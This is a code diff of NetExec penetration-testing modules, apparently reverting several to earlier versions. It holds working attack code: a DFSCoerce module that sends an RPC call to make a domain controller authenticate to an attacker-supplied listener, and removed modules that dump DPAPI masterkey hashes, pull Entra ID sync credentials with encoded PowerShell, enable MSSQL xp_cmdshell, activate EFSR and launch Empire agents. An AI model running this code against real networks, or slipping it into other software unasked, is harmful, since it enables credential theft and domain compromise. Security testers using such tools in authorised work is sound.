context.log.highlight(f"Target principal found in LDAP ({self.target_principal[0]})")
except Exception:
context.log.fail(f"Target SID not found in LDAP ({self.target_sAMAccountName})")
context.log.debug(f"Exception: {e}, {traceback.format_exc()}")
return
sys.exit(1)
if self.action == "read":
self.read(context)
@@ -332,16 +321,10 @@ class NXCModule:
try:
self.target_sAMAccountName = target.strip()
# Searching for target account with its security descriptor
resp = connection.search(
searchFilter=f"(sAMAccountName={escape_filter_chars(self.target_sAMAccountName)})",
attributes=["distinguishedName", "nTSecurityDescriptor"],
searchControls=security_descriptor_control(sdflags=0x04),
)
resp_parsed = parse_result_attributes(resp)[0]
self.search_target_principal_security_descriptor(context, connection)
# Extract security descriptor data
self.target_principal_dn = resp_parsed["distinguishedName"]
self.principal_raw_security_descriptor = resp_parsed["nTSecurityDescriptor"]
self.target_principal_dn = self.target_principal[0]
self.principal_raw_security_descriptor = str(self.target_principal[1][0][1][0]).encode("latin-1")
self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor)
context.log.highlight(f"Target principal found in LDAP ({self.target_sAMAccountName})")
except Exception:
@@ -375,31 +358,83 @@ class NXCModule:
context.log.highlight("DACL backed up to %s", self.filename)
self.filename = None
def resolveSID(self, sid):
"""Resolves a SID to its corresponding sAMAccountName."""
# Attempts to retrieve the DACL in the Security Descriptor of the specified target
def search_target_principal_security_descriptor(self, context, connection):
_lookedup_principal = ""
# Set SD flags to only query for DACL
controls = security_descriptor_control(sdflags=0x04)
if self.target_sAMAccountName is not None:
_lookedup_principal = self.target_sAMAccountName
target = self.ldap_session.search(
searchBase=self.baseDN,
searchFilter=f"(sAMAccountName={escape_filter_chars(_lookedup_principal)})",
attributes=["nTSecurityDescriptor"],
searchControls=controls,
)
if self.target_DN is not None:
_lookedup_principal = self.target_DN
target = self.ldap_session.search(
searchBase=self.baseDN,
searchFilter=f"(distinguishedName={_lookedup_principal})",
attributes=["nTSecurityDescriptor"],
searchControls=controls,
)
try:
self.target_principal = target[0]
except Exception:
context.log.fail(f"Principal not found in LDAP ({_lookedup_principal}), probably an LDAP session issue.")
sys.exit(0)
# Attempts to retrieve the SID and Distinguisehd Name from the sAMAccountName
# Not used for the moment
# - samname : a sAMAccountName
def get_user_info(self, context, samname):
self.ldap_session.search(
searchBase=self.baseDN,
searchFilter=f"(sAMAccountName={escape_filter_chars(samname)})",
attributes=["objectSid"],
)
try:
dn = self.ldap_session.entries[0].entry_dn
sid = format_sid(self.ldap_session.entries[0]["objectSid"].raw_values[0])
return dn, sid
except Exception:
context.log.fail(f"User not found in LDAP: {samname}")
return False
# Attempts to resolve a SID and return the corresponding samaccountname
# - sid : the SID to resolve
def resolveSID(self, context, sid):
# Tries to resolve the SID from the well known SIDs
if sid in WELL_KNOWN_SIDS:
return WELL_KNOWN_SIDS[sid]
# Tries to resolve the SID from the LDAP domain dump
try:
resp = self.connection.search(
searchFilter=f"(objectSid={sid})",
attributes=["sAMAccountName"],
)
return parse_result_attributes(resp)[0]["sAMAccountName"]
except Exception:
self.context.log.debug(f"SID not found in LDAP: {sid}")
return ""
else:
try:
self.ldap_session.search(
searchBase=self.baseDN,
searchFilter=f"(objectSid={sid})",
attributes=["sAMAccountName"],
)[0][0]
return self.ldap_session.search(
searchBase=self.baseDN,
searchFilter=f"(objectSid={sid})",
attributes=["sAMAccountName"],
)[0][1][0][1][0]
except Exception:
context.log.debug(f"SID not found in LDAP: {sid}")
return ""
# Parses a full DACL
# - dacl : the DACL to parse, submitted in a Security Desciptor format
def parse_dacl(self, context, dacl):
parsed_dacl = []
context.log.debug("Parsing DACL")
i = 0
for ace in dacl["Data"]:
parsed_ace = self.parse_ace(context, ace)
parsed_dacl.append(parsed_ace)
i += 1
return parsed_dacl
# Parses an access mask to extract the different values from a simple permission
@@ -428,7 +463,7 @@ class NXCModule:
# Extracts the access mask (by parsing the simple permissions) and the principal's SID
if ace["TypeName"] in ["ACCESS_ALLOWED_ACE", "ACCESS_DENIED_ACE"]:
access_mask = f"{', '.join(self.parse_perms(ace['Ace']['Mask']['Mask']))} (0x{ace['Ace']['Mask']['Mask']:x})"
trustee_sid = f"{self.resolveSID(ace['Ace']['Sid'].formatCanonical()) or 'UNKNOWN'} ({ace['Ace']['Sid'].formatCanonical()})"
trustee_sid = f"{self.resolveSID(context, ace['Ace']['Sid'].formatCanonical()) or 'UNKNOWN'} ({ace['Ace']['Sid'].formatCanonical()})"
parsed_ace = {
"Access mask": access_mask,
"Trustee (SID)": trustee_sid
@@ -456,7 +491,7 @@ class NXCModule:
parsed_ace["Inherited type (GUID)"] = f"UNKNOWN ({inh_obj_type})"
# Extract the Trustee SID (the object that has the right over the DACL bearer)
parsed_ace["Trustee (SID)"] = "{} ({})".format(
self.resolveSID(ace["Ace"]["Sid"].formatCanonical()) or "UNKNOWN",
self.resolveSID(context, ace["Ace"]["Sid"].formatCanonical()) or "UNKNOWN",
ace["Ace"]["Sid"].formatCanonical(),
)
else: # if the ACE is not an access allowed
@@ -471,17 +506,16 @@ class NXCModule:
def print_parsed_dacl(self, context, parsed_dacl):
"""Prints a full DACL by printing each parsed ACE
parsed_dacl : a parsed DACL from parse_dacl()
"""
context.log.debug("Printing parsed DACL")
i = 0
# If a specific right or a specific GUID has been specified, only the ACE with this right will be printed
# If an ACE type has been specified, only the ACE with this type will be specified
# If a principal has been specified, only the ACE where he is the trustee will be printed
for i, parsed_ace in enumerate(parsed_dacl):
for parsed_ace in parsed_dacl:
print_ace = True
context.log.debug(f"{parsed_ace=}, {self.rights=}, {self.rights_guid=}, {self.ace_type=}, {self.principal_sid=}")
# Filter on specific rights
if self.rights is not None:
try:
@@ -494,7 +528,7 @@ class NXCModule:
if (self.rights == "ResetPassword") and (("Object type (GUID)" not in parsed_ace) or (RIGHTS_GUID.ResetPassword.value not in parsed_ace["Object type (GUID)"])):
print_ace = False
except Exception as e:
context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights=}, probably because of ACE type unsupported for parsing yet ({e})")
context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
# Filter on specific right GUID
if self.rights_guid is not None:
@@ -502,7 +536,7 @@ class NXCModule:
if ("Object type (GUID)" not in parsed_ace) or (self.rights_guid not in parsed_ace["Object type (GUID)"]):
print_ace = False
except Exception as e:
context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights_guid=}, probably because of ACE type unsupported for parsing yet ({e})")
context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
# Filter on ACE type
if self.ace_type == "allowed":
@@ -510,13 +544,13 @@ class NXCModule:
if ("ACCESS_ALLOWED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ("ACCESS_ALLOWED_ACE" not in parsed_ace["ACE Type"]):
print_ace = False
except Exception as e:
context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
else:
try:
if ("ACCESS_DENIED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ("ACCESS_DENIED_ACE" not in parsed_ace["ACE Type"]):
print_ace = False
except Exception as e:
context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
# Filter on trusted principal
if self.principal_sid is not None:
@@ -524,17 +558,18 @@ class NXCModule:
if self.principal_sid not in parsed_ace["Trustee (SID)"]:
print_ace = False
except Exception as e:
context.log.debug(f"Error filtering with {parsed_ace=} and {self.principal_sid=}, probably because of ACE type unsupported for parsing yet ({e})")
context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
if print_ace:
self.context.log.highlight(f"ACE[{i}] info")
self.context.log.highlight("%-28s" % "ACE[%d] info" % i)
self.print_parsed_ace(parsed_ace)
i += 1
# Prints properly a parsed ACE
# - parsed_ace : a parsed ACE from parse_ace()
def print_parsed_ace(self, parsed_ace):
elements_name = list(parsed_ace.keys())
for attribute in elements_name:
self.context.log.highlight(f"\t{attribute:<26}: {parsed_ace[attribute]}")
self.context.log.highlight(" %-26s: %s" % (attribute, parsed_ace[attribute]))
# Retrieves the GUIDs for the specified rights
def build_guids_for_rights(self):
+126 -2
View File
@@ -1,7 +1,18 @@
from impacket import system_errors
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.ndr import NDRCALL
from impacket.dcerpc.v5.dtypes import ULONG, WSTR, DWORD
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.uuid import uuidtup_to_bin
from nxc.logger import nxc_logger
class NXCModule:
name = "dfscoerce"
description = "[REMOVED] Module to check if the DC is vulnerable to DFSCoerce, credit to @filip_dragovic/@Wh04m1001 and @topotam"
description = "Module to check if the DC is vulnerable to DFSCocerc, credit to @filip_dragovic/@Wh04m1001 and @topotam"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
@@ -15,4 +26,117 @@ class NXCModule:
self.listener = module_options["LISTENER"]
def on_login(self, context, connection):
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
trigger = TriggerAuth()
dce = trigger.connect(
username=connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
doKerberos=connection.kerberos,
dcHost=connection.kdcHost,
aesKey=connection.aesKey,
)
if dce is not None:
context.log.debug("Target is vulnerable to DFSCoerce")
trigger.NetrDfsRemoveStdRoot(dce, self.listener)
context.log.highlight("VULNERABLE")
context.log.highlight("Next step: https://github.com/Wh04m1001/DFSCoerce")
dce.disconnect()
else:
context.log.debug("Target is not vulnerable to DFSCoerce")
class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__(self):
key = self.error_code
if key in system_errors.ERROR_MESSAGES:
error_msg_short = system_errors.ERROR_MESSAGES[key][0]
error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
return f"DFSNM SessionError: code: 0x{self.error_code:x} - {error_msg_short} - {error_msg_verbose}"
else:
return f"DFSNM SessionError: unknown error code: 0x{self.error_code:x}"
################################################################################
# RPC CALLS
################################################################################
class NetrDfsRemoveStdRoot(NDRCALL):
opnum = 13
structure = (
("ServerName", WSTR),
("RootShare", WSTR),
("ApiFlags", DWORD),
)
class NetrDfsRemoveStdRootResponse(NDRCALL):
structure = (("ErrorCode", ULONG),)
class NetrDfsAddRoot(NDRCALL):
opnum = 12
structure = (
("ServerName", WSTR),
("RootShare", WSTR),
("Comment", WSTR),
("ApiFlags", DWORD),
)
class NetrDfsAddRootResponse(NDRCALL):
structure = (("ErrorCode", ULONG),)
class TriggerAuth:
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost):
rpctransport = transport.DCERPCTransportFactory(r"ncacn_np:%s[\PIPE\netdfs]" % target)
if hasattr(rpctransport, "set_credentials"):
rpctransport.set_credentials(
username=username,
password=password,
domain=domain,
lmhash=lmhash,
nthash=nthash,
aesKey=aesKey,
)
if doKerberos:
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
# if target:
rpctransport.setRemoteHost(target)
dce = rpctransport.get_dce_rpc()
nxc_logger.debug("[-] Connecting to {}".format(r"ncacn_np:%s[\PIPE\netdfs]") % target)
try:
dce.connect()
except Exception as e:
nxc_logger.debug(f"Something went wrong, check error status => {e!s}")
return None
try:
dce.bind(uuidtup_to_bin(("4FC742E0-4A10-11CF-8273-00AA004AE673", "3.0")))
except Exception as e:
nxc_logger.debug(f"Something went wrong, check error status => {e!s}")
return None
nxc_logger.debug("[+] Successfully bound!")
return dce
def NetrDfsRemoveStdRoot(self, dce, listener):
nxc_logger.debug("[-] Sending NetrDfsRemoveStdRoot!")
try:
request = NetrDfsRemoveStdRoot()
request["ServerName"] = f"{listener}\x00"
request["RootShare"] = "test\x00"
request["ApiFlags"] = 1
if self.args.verbose:
nxc_logger.debug(request.dump())
dce.request(request)
except Exception as e:
nxc_logger.debug(e)
-62
View File
@@ -1,62 +0,0 @@
from dploot.lib.target import Target
from dploot.triage.masterkeys import MasterkeysTriage
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
# Based on dpapimk2john, original work by @fist0urs
class NXCModule:
name = "dpapi_hash"
description = "Remotely dump Dpapi hash based on masterkeys"
supported_protocols = ["smb"]
def options(self, context, module_options):
"""OUTPUTFILE Output file to write hashes"""
self.outputfile = None
if "OUTPUTFILE" in module_options:
self.outputfile = module_options["OUTPUTFILE"]
def on_admin_login(self, context, connection):
username = connection.username
password = getattr(connection, "password", "")
nthash = getattr(connection, "nthash", "")
target = Target.create(
domain=connection.domain,
username=username,
password=password,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
lmhash=getattr(connection, "lmhash", ""),
nthash=nthash,
do_kerberos=connection.kerberos,
aesKey=connection.aesKey,
no_pass=True,
use_kcache=getattr(connection, "use_kcache", False),
)
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if conn is None:
context.log.debug("Could not upgrade connection")
return
try:
context.log.display("Collecting DPAPI masterkeys, grab a coffee and be patient...")
masterkeys_triage = MasterkeysTriage(
target=target,
conn=conn,
)
context.log.debug(f"Masterkeys Triage: {masterkeys_triage}")
context.log.debug("Collecting user masterkeys")
masterkeys_triage.triage_masterkeys()
if self.outputfile is not None:
with open(self.outputfile, "a+") as fd:
for mkhash in [mkhash for masterkey in masterkeys_triage.all_looted_masterkeys for mkhash in masterkey.generate_hash()]:
context.log.highlight(mkhash)
fd.write(f"{mkhash}\n")
else:
for mkhash in [mkhash for masterkey in masterkeys_triage.all_looted_masterkeys for mkhash in masterkey.generate_hash()]:
context.log.highlight(mkhash)
except Exception as e:
context.log.debug(f"Could not get masterkeys: {e}")
+2
View File
@@ -12,6 +12,8 @@ class NXCModule:
name = "drop-sc"
description = "Drop a searchConnector-ms file on each writable share"
supported_protocols = ["smb"]
opsec_safe = False
multiple_hosts = True
def options(self, context, module_options):
"""
-66
View File
@@ -1,66 +0,0 @@
from nxc.parsers.ldap_results import parse_result_attributes
class NXCModule:
name = "dump-computers"
description = "Dumps all computers in the domain"
supported_protocols = ["ldap"]
def options(self, context, module_options):
"""
TYPE Only dump NETBIOS or FQDN instead of 'FQDN (OS Version)'
OUTPUT Output to file in addition to printing to console
Examples
--------
netexec ldap $DC-IP -u $username -p $password -M dump-computers
netexec ldap $DC-IP -u $username -p $password -M dump-computers -o TYPE=netbios
netexec ldap $DC-IP -u $username -p $password -M dump-computers -o TYPE=fqdn
netexec ldap $DC-IP -u $username -p $password -M dump-computers -o TYPE=netbios OUTPUT=<location>
"""
self.output_file = None
self.netbios_only = False
self.fqdn_only = False
if "OUTPUT" in module_options:
self.output_file = module_options["OUTPUT"]
if "TYPE" in module_options:
if module_options["TYPE"].lower() == "netbios":
self.netbios_only = True
elif module_options["TYPE"].lower() == "fqdn":
self.fqdn_only = True
def on_login(self, context, connection):
resp = connection.search(
searchFilter="(objectCategory=computer)",
attributes=["dNSHostName", "operatingSystem"]
)
resp_parsed = parse_result_attributes(resp)
answers = []
context.log.debug(f"Total number of records returned: {len(resp_parsed)}")
for item in resp_parsed:
dns_host_name = item["dNSHostName"]
operating_system = item.get("operatingSystem", "Unknown OS")
if self.netbios_only:
netbios_name = dns_host_name.split(".")[0]
answer = netbios_name
elif self.fqdn_only:
answer = dns_host_name
else:
answer = f"{dns_host_name} ({operating_system})"
answers.append(answer)
context.log.success("Found the following computers:")
for answer in answers:
context.log.highlight(answer)
if self.output_file:
try:
with open(self.output_file, "w") as f:
f.write("\n".join(answers) + "\n")
context.log.success(f"Results saved to {self.output_file}")
except Exception as e:
context.log.error(f"Failed to write to file {self.output_file}: {e}")
-110
View File
@@ -1,110 +0,0 @@
import ntpath
from nxc.helpers.misc import gen_random_string
from nxc.context import Context
from impacket.smb3structs import FILE_SHARE_WRITE, FILE_SHARE_DELETE, FILE_ATTRIBUTE_ENCRYPTED
from impacket.smbconnection import SessionError, SMBConnection
def get_error_string(exception):
if hasattr(exception, "getErrorString"):
try:
es = exception.getErrorString()
except KeyError:
return f"Could not get nt error code {exception.getErrorCode()} from impacket: {exception}"
if type(es) is tuple:
return es[0]
else:
return es
else:
return str(exception)
class NXCModule:
"""EFSR Spray Module
Module by @rtpt-romankarwacik
"""
name = "efsr_spray"
description = "Tries to activate the EFSR service by creating a file with the encryption attribute on some available share."
supported_protocols = ["smb"]
excluded_shares = ["SYSVOL"]
def options(self, context: Context, module_options: dict[str, str]):
"""
FILE_NAME Name of the file which will be tried to create and afterwards delete
SHARE_NAME If set, ONLY this share will be used
EXCLUDED_SHARES List of share names which will not be used, seperated by comma
"""
self.file_name = module_options.get("FILE_NAME", ntpath.normpath("\\" + gen_random_string() + ".txt"))
self.share_name = module_options.get("SHARE_NAME")
if module_options.get("EXCLUDED_SHARES"):
self.excluded_shares += module_options.get("EXCLUDED_SHARES", "").split(",")
def on_login(self, context: Context, connection):
conn: SMBConnection = connection.conn # Because typing is broken due to smb being a folder and a file >:(
try:
shares = conn.listShares()
except SessionError as e:
error = get_error_string(e)
context.log.fail(f"Error enumerating shares: {error}", color="magenta")
return
# Check if named pipe is already available
try:
named_pipe_names = [f.get_shortname() for f in conn.listPath("IPC$", "*")]
if "efsrpc" in named_pipe_names:
context.log.highlight("efsrpc named pipe is already available!")
# if it is already activated we just skip this computer
return
except SessionError as e:
error = get_error_string(e)
context.log.fail(f"Error enumerating named pipes: {error}", color="magenta")
return
# Write an encrypted file on the share root.
# This will likely fail with STATUS_ACCESS_DENIED if we do not have the permission to create encrypted files,
# but this does not matter as the service will be activated nevertheless if we have WRITE or MODIFY access
for share in shares:
share_name = share["shi1_netname"][:-1]
if self.share_name is not None and self.share_name != share_name:
continue
if share_name in self.excluded_shares:
continue
try:
context.log.debug(f"Connecting to share {share_name}...")
tid = conn.connectTree(share_name)
except SessionError as e:
context.log.debug(f"Could not connect to share {share_name}: {e}")
continue
try:
context.log.debug(f"Creating file in {share_name}...")
fid = conn.createFile(tid, self.file_name,
desiredAccess=FILE_SHARE_WRITE,
shareMode=FILE_SHARE_DELETE,
fileAttributes=FILE_ATTRIBUTE_ENCRYPTED)
conn.closeFile(tid, fid)
try:
# this can happen when we have special permissions to create encrypted files
conn.deleteFile(share_name, self.file_name)
except SessionError as e:
error = get_error_string(e)
if error == "STATUS_OBJECT_NAME_NOT_FOUND":
pass
context.log.fail(f"Error DELETING created temp file {self.file_name} on share {share_name}: {error}")
except SessionError as e:
context.log.debug(f"Error writing encrypted file on share {share_name}: {get_error_string(e)} (This does not necessarily mean that the attack failed!)")
try:
tid = conn.connectTree("IPC$")
conn.waitNamedPipe(tid, "efsrpc", 10)
context.log.highlight("Successfully activated efsrpc named pipe!")
except SessionError as e:
error = get_error_string(e)
if error == "STATUS_OBJECT_NAME_NOT_FOUND":
context.log.debug("efsrpc pipe was not activated.")
else:
context.log.fail(f"Error waiting for named pipe: {error}", color="magenta")
return
+3 -1
View File
@@ -12,6 +12,8 @@ class NXCModule:
name = "empire_exec"
description = "Uses Empire's RESTful API to generate a launcher for the specified listener and executes it"
supported_protocols = ["smb", "mssql"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
"""
@@ -31,7 +33,7 @@ class NXCModule:
obfuscate = "OBFUSCATE" in module_options
# we can use commands instead of backslashes - this is because Linux and OSX treat them differently
default_obfuscation = "Token,All,1"
obfuscate_cmd = module_options.get("OBFUSCATE_CMD", default_obfuscation)
obfuscate_cmd = module_options["OBFUSCATE_CMD"] if "OBFUSCATE_CMD" in module_options else default_obfuscation
context.log.debug(f"Obfuscate: {obfuscate} - Obfuscate_cmd: {obfuscate_cmd}")
# Pull the host and port from the config file
-74
View File
@@ -1,74 +0,0 @@
class NXCModule:
"""
Enables or disables xp_cmdshell in MSSQL Server.
Module by crosscutsaw
"""
name = "enable_cmdshell"
description = "Enable or disable xp_cmdshell in MSSQL Server"
supported_protocols = ["mssql"]
def __init__(self):
self.mssql_conn = None
self.context = None
self.action = None
self.advanced_options_backup = None # Stores original value of 'show advanced options'
def options(self, context, module_options):
"""
ACTION enable or disable xp_cmdshell
Examples
--------
netexec mssql $TARGET -u $username -p $password -M enable_cmdshell -o ACTION=enable
netexec mssql $TARGET -u $username -p $password -M enable_cmdshell -o ACTION=disable
"""
if "ACTION" in module_options:
self.action = module_options["ACTION"].lower()
else:
context.log.fail("Missing required option: ACTION (enable/disable)")
exit(1)
def on_login(self, context, connection):
self.context = context
self.mssql_conn = connection.conn
if self.action == "enable":
self.toggle_xp_cmdshell(enable=True)
elif self.action == "disable":
self.toggle_xp_cmdshell(enable=False)
else:
self.context.log.fail("Invalid ACTION. Use 'enable' or 'disable'.")
def backup_show_advanced_options(self):
"""Backs up the current state of 'show advanced options'."""
query = "SELECT CAST(value AS INT) AS value FROM sys.configurations WHERE name = 'show advanced options'"
res = self.mssql_conn.sql_query(query)
if res:
self.advanced_options_backup = int(res[0]["value"]) # Convert to integer
def restore_show_advanced_options(self):
"""Restores the original state of 'show advanced options' if needed."""
if self.advanced_options_backup is not None and self.advanced_options_backup == 0:
self.mssql_conn.sql_query("EXEC sp_configure 'show advanced options', '0'; RECONFIGURE;")
def toggle_xp_cmdshell(self, enable: bool):
"""Enables or disables xp_cmdshell while preserving 'show advanced options' state."""
state = "1" if enable else "0"
# Backup 'show advanced options' state
self.backup_show_advanced_options()
# Enable 'show advanced options' if it was disabled
self.mssql_conn.sql_query("EXEC sp_configure 'show advanced options', '1'; RECONFIGURE;")
try:
# Enable or disable xp_cmdshell
self.mssql_conn.sql_query(f"EXEC sp_configure 'xp_cmdshell', '{state}'; RECONFIGURE;")
action_text = "enabled" if enable else "disabled"
self.context.log.success(f"xp_cmdshell successfully {action_text}.")
except Exception as e:
self.context.log.fail(f"Failed to execute command: {e}")
# Restore 'show advanced options' to its original state if needed
self.restore_show_advanced_options()
-81
View File
@@ -1,81 +0,0 @@
import re
from termcolor import colored
from nxc.parsers.ldap_results import parse_result_attributes
from nxc.config import host_info_colors
class NXCModule:
"""Module by @NeffIsBack"""
name = "entra-id"
description = "Find the Entra ID sync server"
supported_protocols = ["ldap"]
def __init__(self):
self.context = None
self.module_options = None
def options(self, context, module_options):
"""No options available."""
def on_login(self, context, connection):
self.context = context
# For every Entra ID syncronization server, there is a corresponding MSOL_ account and likely an ADSyncMSA service account.
msol_parsed = parse_result_attributes(connection.search(
searchFilter="(sAMAccountName=MSOL_*)",
attributes=["sAMAccountName", "cn", "description"],
))
self.context.log.info(f"Found the following MSOL accounts: {msol_parsed}")
adsync_parsed = parse_result_attributes(connection.search(
searchFilter="(sAMAccountName=ADSyncMSA*)",
attributes=["sAMAccountName", "cn", "msDS-HostServiceAccountBL"],
))
self.context.log.info(f"Found the following ADSyncMSA accounts: {adsync_parsed}")
hosts = []
for acc in msol_parsed:
host = re.search(r"computer (?P<host>.*) configured", acc["description"])
if host:
hostname = host.group("host")
# Try to get the dNSHostName for the host, if not use the NetBIOS name from the description
resp = parse_result_attributes(connection.search(f"(sAMAccountName={hostname}$)", ["dNSHostName"]))
ip = connection.resolver(resp[0]["dNSHostName"] if resp else hostname)
hosts.append({
"hostname": hostname,
"ip": ip,
"msol_account": acc["sAMAccountName"],
})
for adsync in adsync_parsed:
# The last 5 chars of the ADSyncMSA account name are the identifier for the corresponding MSOL account
identifier = str(adsync["cn"]).removeprefix("ADSyncMSA")
msol_acc = next((x for x in msol_parsed if str(x["sAMAccountName"]).startswith(f"MSOL_{identifier}")), None)
self.context.log.debug(f"Found ADSyncMSA account: {adsync['sAMAccountName']}, corresponding MSOL account: {msol_acc['sAMAccountName'] if msol_acc else 'None'}")
# Get the computer object for the ADSyncMSA service account
computer = parse_result_attributes(connection.search(
searchFilter=f"(distinguishedName={adsync['msDS-HostServiceAccountBL']})",
attributes=["dNSHostName", "cn", "sAMAccountName"],
))[0]
# If we already found a host with its MSOL account, extend that info, otherwise create a new host entry
host = next((x for x in hosts if x["hostname"] == computer["cn"]), None)
if host and host["ip"]: # Skip if host and IP are already set
self.context.log.debug(f"Host '{host['hostname']}' already exists with IP {host['ip'].get('host')}, skipping update.")
continue
elif host: # If host exists but IP is not set, update it
host["ip"] = connection.resolver(computer["dNSHostName"])
else: # If host does not exist, create a new entry
hosts.append({
"hostname": computer["cn"],
"ip": connection.resolver(computer["dNSHostName"]),
})
if hosts:
self.context.log.success("Found Entra ID sync servers:")
for host in hosts:
self.context.log.highlight(f"{host['hostname']}: {colored(host['ip'].get('host', '<not found>'), host_info_colors[0])}" + colored(f" (MSOL Account: {host.get('msol_account', 'N/A')})", "yellow", attrs=["bold"]))
-49
View File
@@ -1,49 +0,0 @@
from base64 import b64encode
from nxc.helpers.powershell import get_ps_script
class NXCModule:
"""
Example:
-------
Module by @NeffIsBack
"""
name = "entra-sync-creds"
description = "Extract Entra ID sync credentials from the target host"
supported_protocols = ["smb"]
opsec_safe = True
def __init__(self):
self.context = None
self.module_options = None
self.entra_id_psscript = ""
with open(get_ps_script("entra-sync-creds/entra-sync-creds.ps1")) as psFile:
for line in psFile:
if line.startswith("#") or line.strip() == "":
continue
else:
self.entra_id_psscript += line.strip() + "\n"
def options(self, context, module_options):
"""No module options available."""
def on_admin_login(self, context, connection):
self.context = context
psScript_b64 = b64encode(self.entra_id_psscript.encode("UTF-16LE")).decode("utf-8")
out = connection.execute(f"powershell.exe -e {psScript_b64} -OutputFormat Text", True)
if "CLIXML" in out:
out = out.split("CLIXML")[1].split("<Objs Version")[0]
for line in out.splitlines():
if not line.strip():
continue
if "[!]" in line:
self.context.log.fail(line.replace("[!]", "").strip())
else:
self.context.log.highlight(line.strip())
+21 -69
View File
@@ -5,7 +5,6 @@
from impacket.dcerpc.v5 import lsat, lsad, transport
from impacket.dcerpc.v5.dtypes import NULL, MAXIMUM_ALLOWED, RPC_UNICODE_STRING
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
import pathlib
@@ -18,6 +17,8 @@ class NXCModule:
name = "enum_av"
description = "Gathers information on all endpoint protection solutions installed on the the remote host(s) via LsarLookupNames (no privilege needed)"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
@@ -34,7 +35,7 @@ class NXCModule:
results = self._detect_installed_services(context, connection, target)
self.detect_running_processes(context, connection, results)
self.dump_results(results, context)
self.dump_results(results, connection.hostname, context)
def _get_target(self, connection):
return connection.host if not connection.kerberos else f"{connection.hostname}.{connection.domain}"
@@ -49,8 +50,7 @@ class NXCModule:
password=connection.password,
remote_name=target,
do_kerberos=connection.kerberos,
remoteHost=connection.host,
kdcHost=connection.kdcHost,
kdcHost=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
aesKey=connection.aesKey
@@ -58,16 +58,18 @@ class NXCModule:
dce, _ = lsa.connect()
policyHandle = lsa.open_policy(dce)
for product in conf["products"]:
for service in product["services"]:
try:
try:
for product in conf["products"]:
for service in product["services"]:
lsa.LsarLookupNames(dce, policyHandle, service["name"])
context.log.info(f"Detected installed service on {connection.host}: {product['name']} {service['description']}")
results.setdefault(product["name"], {"services": []})["services"].append(service)
except Exception:
pass
except Exception:
pass
except Exception as e:
context.log.fail(str(e))
return results
def detect_running_processes(self, context, connection, results):
@@ -78,13 +80,13 @@ class NXCModule:
for product in conf["products"]:
for pipe in product["pipes"]:
if pathlib.PurePath(fl).match(pipe["name"]):
context.log.info(f"{product['name']} running claim found on {connection.host} by existing pipe {fl} (likely processes: {pipe['processes']})")
context.log.debug(f"{product['name']} running claim found on {connection.host} by existing pipe {fl} (likely processes: {pipe['processes']})")
prod_results = results.setdefault(product["name"], {})
prod_results.setdefault("pipes", []).append(pipe)
except Exception as e:
context.log.fail(str(e))
context.log.debug(str(e))
def dump_results(self, results, context):
def dump_results(self, results, remoteName, context):
if not results:
context.log.highlight("Found NOTHING!")
return
@@ -117,7 +119,6 @@ class LsaLookupNames:
password="",
remote_name="",
do_kerberos=False,
remoteHost="",
kdcHost="",
lmhash="",
nthash="",
@@ -132,8 +133,7 @@ class LsaLookupNames:
self.lmhash = lmhash
self.nthash = nthash
self.aesKey = aesKey
self.kdcHost = kdcHost
self.remoteHost = remoteHost
self.dcHost = kdcHost
def connect(self, string_binding=None, iface_uuid=None):
"""Obtains a RPC Transport and a DCE interface according to the bindings and
@@ -146,7 +146,6 @@ class LsaLookupNames:
raise NotImplementedError("String binding must be defined")
rpc_transport = transport.DCERPCTransportFactory(string_binding)
rpc_transport.setRemoteHost(self.remoteHost)
# Set timeout if defined
if self.timeout:
@@ -158,13 +157,14 @@ class LsaLookupNames:
rpc_transport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey)
if self.doKerberos:
rpc_transport.set_kerberos(self.doKerberos, kdcHost=self.kdcHost)
rpc_transport.set_kerberos(self.doKerberos, kdcHost=self.dcHost)
# Gets the DCE RPC object
dce = rpc_transport.get_dce_rpc()
if self.doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
# Set the authentication level
if self.authn_level:
dce.set_auth_level(self.authn_level)
# Connect
dce.connect()
@@ -242,14 +242,6 @@ conf = {
"services": [{"name": "CSFalconService", "description": "CrowdStrike Falcon Sensor Service"}],
"pipes": [{"name": "CrowdStrike\\{*", "processes": ["CSFalconContainer.exe", "CSFalconService.exe"]}]
},
{
"name": "Cortex",
"services": [
